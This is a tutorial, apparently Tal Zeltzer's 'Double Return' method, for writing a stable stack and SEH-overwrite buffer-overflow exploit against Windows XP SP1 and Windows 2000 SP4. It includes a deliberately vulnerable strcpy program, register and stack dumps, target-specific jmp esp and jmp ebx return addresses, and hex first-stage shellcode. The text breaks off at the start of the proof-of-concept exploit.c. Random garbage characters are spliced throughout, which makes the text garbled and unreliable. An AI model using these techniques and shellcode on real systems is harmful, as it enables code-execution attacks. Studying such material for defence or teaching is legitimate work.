The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.0 I- p1 |- ~; W4 {
5 g2 f3 ]1 \3 ] H[Buf] <- Shellcode: a) z9 ^; j8 F6 u; t, Q0 f
[Return Address] <- jmp register (for Windows XP sp1) 8 o2 B( p! b' H9 _3 R# s( o& n[Various Stack Data] <- Junk 0 f0 U9 V/ H; h* [+ z( F6 _# T: |% A# ^[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward/ S( M: Q; z* d3 t! A
[SE Handler] <- jmp register (for Win2k sp4) # [) I* v$ b/ |& p/ w) U[Stage1 Shellcode] <- stage1 shellcode for win2k: A. r$ M9 _$ i. |1 B$ g7 l
# X& h' j6 d& d( wIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses! z8 ]1 Y/ m7 r) v- _
_/ d6 m8 Y# H U" v3 T
Necessary Tools:; x: e3 g/ M, z8 U. k
- OllyDBG/ `$ F% U0 ]; l c
- C/C++ Compiler5 h0 j# X- ?' M6 R8 {
- nasm ' X* o" ?" Q: X! _6 Q/ D7 Q* _- Sac! x! E# h7 l" I E5 t
2 x" y9 s0 k) B' a# [; wVulnerable Code: - ^3 M, M7 c& n//lamebuf.c( n7 J$ T. s! ?. n
#include<stdio.h> * B( Q4 ~6 U- n/ O2 F# i* O#include<string.h> + {. |, K, ]9 J8 q#include<windows.h>6 g" p* d: G! L( ]5 r4 c! M: `/ k
int main(int argc,char *argv[]){$ J- C9 @$ I3 a' W
6 B9 }6 _! q. U8 U# o: Gchar buf[512];, j8 A6 l- F2 U! Z
char buf1[1024]; // <- simulate a stack ; L: J5 l; X6 @/ T1 T# Z o6 W//DebugBreak(); & W7 N, I7 V6 T E2 }if (argc != 2){ return -1; } H# I. M- {& d1 k9 E& i0 D$ E2 ]1 } 1 e3 _% a7 }6 W' n3 istrcpy(buf,argv[1]);! R: s: G/ [! {' r: S `2 E
return 0x0; 1 Y2 g. U: I% d}9 U3 X3 M, B. \7 _7 Z7 G& I$ b
, c# V( ~8 v* N' k, M" A/ I
Getting Started:; @3 L4 w" i) w6 a' ]1 {0 [6 o; g
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: 5 J1 C' U" M# d! t( k5 m B- W8 d! W! Z7 a* ~0 K6 i# x
EAX 00000000 q4 o! W# g, C. [ X6 y# `
ECX 00321404) I: ]* q' s) P5 n/ A& X# U
EDX 00414141 , ~9 O" v3 @# ^8 v3 S" T% S, BEBX 7FFDF000" B6 o- W) _( m7 }2 ]
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" / Z/ t9 h8 I& A; k2 vEBP 41414141 z& ~- o( L# M1 @- L1 G3 h" C% @ESI 77D4595F/ @" n* _1 X* S0 m3 m; `, b
EDI 77F59037 ntdll.77F59037+ H, g* V$ u" }, `
EIP 41414141* E5 ^8 b' C3 v% n( a( }$ h9 ~& n
; H/ q5 s E* G2 @2 yLets take a look at the stack and see what happened to the default exception handler:# l1 A( ?0 O* Z, v' e
0x0012FFB0 41414141 Pointer to next SEH Record & z( i! Y g. n g2 \# ^) `. r0x0012FFB4 41414141 SE Handler, {6 {7 N$ o8 `* o5 L
$ f" h, F9 ^& L* M [We successfully overwrote the return address and the default exception handler.) t3 p, u# g' R8 w$ |/ `
/ l! q) A% M3 J6 G7 {* A! ~Primary Return Address (Windows XP SP1 EN):7 X3 k; z/ L7 }' ]8 l! q: ^
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be: ) ^7 Y2 \/ G' D5 h+ y3 o# F"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4" / E0 w3 l$ W6 v4 d8 j# {' Q " V- U+ K0 l7 G. j0 n1 YSecondary Return Address (Windows 2000 SP4 EN):# M# F, g; z8 F* i7 Z" e4 Q
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be: " P3 I; _) j6 c- M3 G4 Z. s"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"4 C' b" Q7 d2 b% o9 W+ D5 Q
$ y" K5 @3 ^! K' y6 ^
Proof Of Concept: . [5 g- B9 i6 U* @8 x, }! d. Q// exploit.c 9 G! z" n. d) F: X2 B; ~// Tal zeltzer - [Double Return] // % U" g5 X4 f- w- }1 `% p2 _$ f, O7 e1 ^& J
#include<stdio.h> ' M1 Y5 E" j c#include<string.h> 9 J& ]9 v9 p5 W7 Q5 Q#include<windows.h>2 i; v; d8 M$ |